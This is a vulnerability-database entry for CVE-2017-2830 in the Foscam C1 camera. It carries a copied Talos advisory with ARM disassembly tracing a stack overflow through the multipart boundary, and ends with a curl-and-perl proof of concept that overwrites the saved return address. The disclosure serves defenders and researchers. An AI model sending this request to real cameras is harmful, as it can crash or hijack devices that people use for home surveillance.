Vulnerabilities > CVE-2017-2830 - Classic Buffer Overflow vulnerability in Foscam C1 Indoor HD Camera Firmware 2.52.2.37
Attack vector
NETWORK Attack complexity
LOW Privileges required
NONE Confidentiality impact
NONE Integrity impact
HIGH Availability impact
NONE Summary
An exploitable buffer overflow vulnerability exists in the web management interface used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.37. A specially crafted HTTP request can cause a buffer overflow resulting in overwriting arbitrary data. An attacker can simply send an HTTP request to the device to trigger this vulnerability.
Vulnerable Configurations
Part | Description | Count |
---|---|---|
OS | 1 | |
Hardware | 1 |
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Buffer Overflow via Environment Variables This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
- Overflow Buffers Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an attacker. As a consequence, an attacker is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the attackers' choice.
- Client-side Injection-induced Buffer Overflow This type of attack exploits a buffer overflow vulnerability in targeted client software through injection of malicious content from a custom-built hostile service.
- Filter Failure through Buffer Overflow In this attack, the idea is to cause an active filter to fail by causing an oversized transaction. An attacker may try to feed overly long input strings to the program in an attempt to overwhelm the filter (by causing a buffer overflow) and hoping that the filter does not fail securely (i.e. the user input is let into the system unfiltered).
- MIME Conversion An attacker exploits a weakness in the MIME conversion routine to cause a buffer overflow and gain control over the mail server machine. The MIME system is designed to allow various different information formats to be interpreted and sent via e-mail. Attack points exist when data are converted to MIME compatible format and back.
Seebug
bulletinFamily | exploit |
description | ### Summary An exploitable buffer overflow vulnerability exists in the web management interface used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.37. A specially crafted HTTP request can cause a buffer overflow resulting in overwriting arbitrary data. An attacker can simply send an HTTP request to the device to trigger this vulnerability. ### Tested Versions ``` Foscam, Inc. Indoor IP Camera C1 Series System Firmware Version: 1.9.3.17 Application Firmware Version: 2.52.2.37 Web Version: 2.0.1.1 Plug-In Version: 3.3.0.5 ``` ### Product URLs Foscam ### CVSSv3 Score 8.1 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H ### CWE CWE-121: Stack-based Buffer Overflow ### Details Foscam produces a series of IP-capable surveillance devices, network video recorders, and baby monitors for the end-user. Foscam produces a range of cameras for both indoor and outdoor use and with wireless capability. One of these models is the C1 series which contains a web-based user interface for management and is based on the arm architecture. Foscam is considered one of the most common security cameras out on the current market. When various services are started, a service will first register a callback using the `CMsgClient::registerMsgHandle` function [1]. This will register a function to be called [2] when another service dispatches a message of the specified code [3]. An example of this registration process is handled inside the `FCGI_Init` function of the "CGIProxy.fcgi" service using the following code: ``` .text:00009F20 FCGX_Init_1f20 .text:00009F20 .text:00009F20 F0 41 2D E9 STMFD SP!, {R4-R8,LR} .text:00009F24 41 DE 4D E2 SUB SP, SP, #0x410 .text:00009F28 08 D0 4D E2 SUB SP, SP, #8 .text:00009F2C 05 FC FF EB BL FCGX_Init .text:00009F2C .text:00009F30 00 10 50 E2 SUBS R1, R0, #0 .text:00009F34 44 01 9F 15 LDRNE R0, =str.FCGX_Initfailed .text:00009F38 05 00 00 1A BNE leave_exit_1f54 .text:00009F3C .text:00009F3C 40 01 9F E5 LDR R0, =gv_theRequest_10b74 .text:00009F40 01 20 A0 E1 MOV R2, R1 .text:00009F44 1A FC FF EB BL FCGX_InitRequest .text:00009F48 .text:00009F48 00 00 50 E3 CMP R0, #0 .text:00009F4C 03 00 00 0A BEQ loc_9F60 ... .text:00009F60 loc_9F60 .text:00009F60 DB FE FF EB BL registerMsgClients_1ad4 ; \ \ .text:00009AD4 registerMsgClients_1ad4 .text:00009AD4 10 40 2D E9 STMFD SP!, {R4,LR} .text:00009AD4 .text:00009AD8 30 40 9F E5 LDR R4, =gp_cMsgClient_bac8 .text:00009ADC 30 10 9F E5 LDR R1, =0x40004001 ; [3] code .text:00009AE0 04 00 A0 E1 MOV R0, R4 .text:00009AE4 2C 20 9F E5 LDR R2, =CgiProxySnapPicHandler_1e38 ; [2] callback function .text:00009AE8 3D FD FF EB BL CMsgClient::registerMsgHandle(int,void (*)(char const*,int)) ; [1] .text:00009AE8 .text:00009AEC 04 00 A0 E1 MOV R0, R4 .text:00009AF0 24 10 9F E5 LDR R1, =0x3001 .text:00009AF4 1C 20 9F E5 LDR R2, =CgiProxySnapPicHandler_1e38 .text:00009AF8 39 FD FF EB BL CMsgClient::registerMsgHandle(int,void (*)(char const*,int)) .text:00009AF8 .text:00009AFC 04 00 A0 E1 MOV R0, R4 .text:00009B00 18 10 9F E5 LDR R1, =0x3002 .text:00009B04 0C 20 9F E5 LDR R2, =CgiProxySnapPicHandler_1e38 .text:00009B08 10 40 BD E8 LDMFD SP!, {R4,LR} .text:00009B0C 34 FD FF EA B CMsgClient::registerMsgHandle(int,void (*)(char const*,int)) ``` After the "CGIProxy.fcgi" service decodes an http request that's forwarded from the http daemon, the service will copy the decoded query into a buffer on the stack [4]. Once this is done, the buffer will then be used to pass the decoded query off to `CMsgClient::sendMsg`. This will dispatch the query to the shared messaging subsystem using the code 0x4001 at [5]. At this point, the service that handles the specified code will be woken up to handle the specified request. ``` .text:00009FA8 14 70 8D E2 ADD R7, SP, #0x430+lv_dest_41c .text:00009FAC 08 10 A0 E1 MOV R1, R8 .text:00009FB0 07 00 A0 E1 MOV R0, R7 .text:00009FB4 34 FC FF EB BL strcpy ; [4] .text:00009FB8 .text:00009FB8 08 00 A0 E1 MOV R0, R8 .text:00009FBC C0 FB FF EB BL strlen .text:00009FC0 .text:00009FC0 CC 30 9F E5 LDR R3, =0x404 .text:00009FC4 00 30 8D E5 STR R3, [SP] .text:00009FC8 C8 10 9F E5 LDR R1, =0x4001 ; [5] .text:00009FCC 07 30 A0 E1 MOV R3, R7 ; uri request .text:00009FD0 01 20 A0 E3 MOV R2, #1 .text:00009FD4 04 40 8D E5 STR R4, [SP,#4] .text:00009FD8 08 40 8D E5 STR R4, [SP,#8] .text:00009FDC 0C 40 8D E5 STR R4, [SP,#12] .text:00009FE0 14 04 8D E5 STR R0, [SP,#0x430+var_1C] .text:00009FE4 B0 00 9F E5 LDR R0, =gp_cMsgClient_bac8 .text:00009FE8 CD FB FF EB BL CMsgClient::sendMsg(int,char,char const*,int,int,int,char *) ``` The handler for code 0x4001 is within the "webService" binary and is done by the function `executeCGICmd` at address 0x1e5a4. At the beginning of this function, the service will call a function [6] that's responsible for extracting the user name, password, and command that was specified within the user's query. Once the parameters have been extracted and copied into a local buffer on the stack, the command will then be passed to the function call at [7] in order to determine the correct command function which will be stored to funcptr. If authentication is not required for the command, then the branch at [8] will execute the function pointer returned by `findJsonCallbackCommand` at [7]. If authentication is required from the command, then the user name and password will be checked via `strcmp` and then the function call at [9] will execute the function pointer. ``` .text:0001E5A4 executeCGICmd .text:0001E5A4 .text:0001E5A4 F0 41 2D E9 STMFD SP!, {R4-R8,LR} .text:0001E5A8 28 60 80 E2 ADD R6, R0, #0x28 .text:0001E5AC 11 DD 4D E2 SUB SP, SP, #0x440 .text:0001E5B0 00 80 A0 E1 MOV R8, R0 .text:0001E5B4 06 10 A0 E1 MOV R1, R6 .text:0001E5B8 C4 00 9F E5 LDR R0, =unk_D5A68 .text:0001E5BC 3A 2A 00 EB BL sub_28EAC ; [6] .text:0001E5C0 00 70 50 E2 SUBS R7, R0, #0 .text:0001E5C4 27 00 00 0A BEQ replyMsg_1E668 .text:00028EAC sub_28EAC .text:00028EAC .text:00028EAC F0 47 2D E9 STMFD SP!, {R4-R10,LR} .text:00028EB0 00 40 51 E2 SUBS R4, R1, #0 .text:00028EB4 00 80 A0 E1 MOV R8, R0 .text:00028EB8 46 DF 4D E2 SUB SP, SP, #0x118 .text:00028EBC 00 00 E0 03 MOVEQ R0, #0xFFFFFFFF .text:00028EC0 8B 00 00 0A BEQ leaving_290F4 ... .text:00028F4C 00 00 50 E3 CMP R0, #0 .text:00028F50 0C 00 00 1A BNE findCmdCallback_28F88 ... .text:00028F88 findCmdCallback_28F88 .text:00028F88 05 00 A0 E1 MOV R0, R5 .text:00028F8C 45 1F 8D E2 ADD R1, SP, #0x138+lp_funcptr?_24 .text:00028F90 89 FC FF EB BL findJsonCallbackCommand_281BC ; [7] .text:00028F94 00 90 50 E2 SUBS R9, R0, #0 .text:00028F98 06 00 00 0A BEQ checkIfAuthNeeded_28FB8 ... .text:00028FB8 checkIfAuthNeeded_28FB8 .text:00028FB8 14 31 9D E5 LDR R3, [SP,#0x138+lp_funcptr?_24] .text:00028FBC 54 21 9F E5 LDR R2, =0xFFFF .text:00028FC0 08 10 93 E5 LDR R1, [R3,#8] .text:00028FC4 02 00 51 E1 CMP R1, R2 .text:00028FC8 06 00 00 1A BNE authenticate_28FE8 ... .text:00028FD8 04 00 A0 E1 MOV R0, R4 .text:00028FDC 33 FF 2F E1 BLX R3 ; [8] .text:00028FE0 09 00 A0 E1 MOV R0, R9 .text:00028FE4 42 00 00 EA B leaving_290F4 ... .text:000290E0 04 00 A0 E1 MOV R0, R4 .text:000290E4 33 FF 2F E1 BLX R3 ; [9] .text:000290E8 05 00 A0 E1 MOV R0, R5 .text:000290EC 00 00 00 EA B leaving_290F4 ... .text:000290F4 46 DF 8D E2 ADD SP, SP, #0x118 .text:000290F8 F0 87 BD E8 LDMFD SP!, {R4-R10,PC} ``` When handling the "usrBeatHeart" command, the function pointer for the function at 0x40ac0 will be called. This will extract the "usrName", "remoteIp", "groupId", and "callbackJson" parameters from the user's query and then log a heartbeat command. After this is done, the service will dispatch to the handler for message code 0x3001 at [10]. There are other ways to reach the overflow described in this advisory. However, this was discovered by the author to be the shortest path. ``` .text:00040AC0 usrBeatHeart .text:00040AC0 .text:00040AC0 F0 45 2D E9 STMFD SP!, {R4-R8,R10,LR} .text:00040AC4 13 DD 4D E2 SUB SP, SP, #0x4C0 ... .text:00040BCC 5C 30 9F E5 LDR R3, =0x40C .text:00040BD0 00 20 A0 E3 MOV R2, #0 .text:00040BD4 00 30 8D E5 STR R3, [SP] .text:00040BD8 54 10 9F E5 LDR R1, =0x3001 .text:00040BDC 1C 30 8D E2 ADD R3, SP, #0x4CC+var_4B0 .text:00040BE0 04 20 8D E5 STR R2, [SP,#4] .text:00040BE4 08 20 8D E5 STR R2, [SP,#8] .text:00040BE8 0C 20 8D E5 STR R2, [SP,#12] .text:00040BEC 20 04 8D E5 STR R0, [SP,#0x4CC+lv_groupId_ac] .text:00040BF0 40 00 9F E5 LDR R0, =gv_cMsgClient_9FC90 .text:00040BF4 98 47 FF EB BL CMsgClient::sendMsg(int,char,char const*,int,int,int,char *) ; [10] .text:00040BF8 CC D0 8D E2 ADD SP, SP, #0xCC .text:00040BFC 01 DB 8D E2 ADD SP, SP, #0x400 .text:00040C00 F0 85 BD E8 LDMFD SP!, {R4-R8,R10,PC} ``` The handler for message code 0x3001 is located back within the "CGIProxy.fcgi" service within a function called `snapPicHandler`. This function does a number of things after first determining what the request type was [11]. If the request was anything other than a GET request, then the branch at [12] will be taken. The next branch will then check if the request was a POST at [13] and continue execution if so. ``` .text:00009B68 snapPicHandler_1b68 .text:00009B68 .text:00009B68 84 32 9F E5 LDR R3, =gv_pid?_b278 .text:00009B6C F0 41 2D E9 STMFD SP!, {R4-R8,LR} .text:00009B70 28 40 80 E2 ADD R4, R0, #0x28 .text:00009B74 04 24 94 E5 LDR R2, [R4,#0x404] .text:00009B78 00 30 93 E5 LDR R3, [R3] .text:00009B7C 19 DE 4D E2 SUB SP, SP, #0x190 .text:00009B80 03 00 52 E1 CMP R2, R3 .text:00009B84 98 00 00 1A BNE leave_1dec .text:00009B88 .text:00009B88 68 02 9F E5 LDR R0, =gv_globalContent_280 .text:00009B8C DB FD FF EB BL sub_9300 ; [11] determine request type .text:00009B8C .text:00009B90 00 70 50 E2 SUBS R7, R0, #0 .text:00009B94 66 00 00 1A BNE handlePost?_1d34 ; [12] anything other than GET ... .text:00009D34 handlePost?_1d34 .text:00009D34 BC 00 9F E5 LDR R0, =gv_globalContent_280 .text:00009D38 70 FD FF EB BL sub_9300 ; [13] determine request type again .text:00009D3C .text:00009D3C 01 00 50 E3 CMP R0, #1 ; If request type is a POST .text:00009D40 00 50 A0 E1 MOV R5, R0 .text:00009D44 28 00 00 1A BNE leave_1dec ... .text:00009DEC leave_1dec .text:00009DEC 19 DE 8D E2 ADD SP, SP, #0x190 .text:00009DF0 F0 81 BD E8 LDMFD SP!, {R4-R8,PC} ``` After determining the request type, the request's content will be searched for the string "" and then execute the following code. The function call at [14] will then proceed to process the content that was included with the request. At the beginning of the function `sub_935C`, the content-length will be checked to see if it is valid by checking that it's less than 0x80000 bytes, 0xe00000 bytes, and then 0x1000000 bytes. Finally the content-type from the request will be fetched at [15]. Once comparing that the content type is of "multipart/form-data" [16], the function will proceed to extract the multipart boundary at [17]. After locating the string from the request that contains the boundary, this string will be copied into a buffer on the stack at [18]. This buffer is 0x100 bytes in size, and only 0x122 bytes from the saved link-register on the stack. If the value of the boundary string is larger than 0x100, then the buffer is being overflown. ``` .text:00009D68 08 24 94 E5 LDR R2, [R4,#0x408] .text:00009D6C 10 21 8D E5 STR R2, [SP,#0x1A8+lv_buffer_98] .text:00009D70 04 34 94 E5 LDR R3, [R4,#0x404] .text:00009D74 46 4F 8D E2 ADD R4, SP, #0x1A8+var_90 .text:00009D78 78 00 9F E5 LDR R0, =gv_globalContent_280 .text:00009D7C 04 10 A0 E1 MOV R1, R4 .text:00009D80 14 31 8D E5 STR R3, [SP,#0x1A8+var_94] .text:00009D84 74 FD FF EB BL sub_935C ; \ [14] \ .text:0000935C sub_935C .text:0000935C .text:0000935C F0 4F 2D E9 STMFD SP!, {R4-R11,LR} .text:00009360 B0 73 9F E5 LDR R7, =gv_theRequest_10b74 .text:00009364 03 DB 4D E2 SUB SP, SP, #0xC00 .text:00009368 04 D0 4D E2 SUB SP, SP, #4 ... .text:00009404 14 10 97 E5 LDR R1, [R7,#(dword_18B88 - 0x18B74)] .text:00009408 1C 03 9F E5 LDR R0, =str.CONTENT_TYPE .text:0000940C D3 FE FF EB BL FCGX_GetParam ; [15] .text:0000940C .text:00009410 18 13 9F E5 LDR R1, =str.multipart/formdata .text:00009414 13 20 A0 E3 MOV R2, #0x13 .text:00009418 00 A0 A0 E1 MOV R10, R0 .text:0000941C 9F FE FF EB BL strncmp ; [16] .text:00009420 .text:00009420 00 80 50 E2 SUBS R8, R0, #0 .text:00009424 0D 00 00 1A BNE loc_9460 .text:00009428 .text:00009428 04 13 9F E5 LDR R1, =str.boundary .text:0000942C 0A 00 A0 E1 MOV R0, R10 .text:00009430 F4 FE FF EB BL strstr ; [17] .text:00009430 .text:00009434 00 10 50 E2 SUBS R1, R0, #0 .text:00009438 01 5B 85 02 ADDEQ R5, R5, #globalContent.v_contentBuffer_400 .text:0000943C 04 50 85 02 ADDEQ R5, R5, #globalContent.v_contentBuffer_400+4-0x400 .text:00009440 05 00 A0 01 MOVEQ R0, R5 .text:00009444 EC 12 9F 05 LDREQ R1, =str.Cantfindboundary .text:00009448 08 00 00 0A BEQ error_output_1470 .text:0000944C .text:0000944C 0B 0C 8D E2 ADD R0, SP, #0xC28+lv_boundaryString?_128 .text:00009450 09 10 81 E2 ADD R1, R1, #9 .text:00009454 02 00 80 E2 ADD R0, R0, #2 .text:00009458 0B FF FF EB BL strcpy ; [18] ``` ### Exploit Proof-of-Concept To trigger this request, this can be done with the combination of command line http client and Perl for generating the buffer. The following commands should trigger the vulnerability. Although the buffer size that is being overflown is 0x100 bytes, this proof-of-concept overflows 0x122 bytes in order to overwrite the saved link-register at the top of the frame. A valid username (usr) and password (pwd) must be chosen. ``` $ usr="admin" $ pwd="" $ boundary=`perl -e 'print "-"x0x122.pack("L",0x41424344)'` $ data=./tmpfile $ printf '%s\r\nContent-Disposition: form-data; name="name"; filename="this can be overflown but not made useful in any way"\r\nContent-Type: application/octet-stream\r\n\r\nThis could be empty as long as the function will return\n\r\n%s--\r\n' "${boundary}" "${boundary}" >| $data $ curl -X POST -H "Content-Type: multipart/form-data; boundary=${boundary}" "http://$SERVER/cgi-bin/CGIProxy.fcgi?usr=${usr}&pwd=${pwd}&cmd=usrBeatHeart&usrName=${usr}&callbackJson=" --data-binary @$data ``` ### Timeline * 2017-05-08 - Vendor Disclosure * 2017-06-19 - Public Release ### CREDIT * Discovered by Claudio Bozzato and another member of Cisco Talos. |
id | SSV:96502 |
last seen | 2017-11-19 |
modified | 2017-09-15 |
published | 2017-09-15 |
reporter | Root |
source | https://www.seebug.org/vuldb/ssvid-96502 |
title | Foscam IP Video Camera CGIProxy.fcgi Message 0x3001 Multi-part Form Boundary Code Execution Vulnerability(CVE-2017-2830) |
Talos
id | TALOS-2017-0331 |
last seen | 2019-05-29 |
published | 2017-06-19 |
reporter | Talos Intelligence |
source | http://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0331 |
title | Foscam IP Video Camera CGIProxy.fcgi Message 0x3001 Multi-part Form Boundary Code Execution Vulnerability |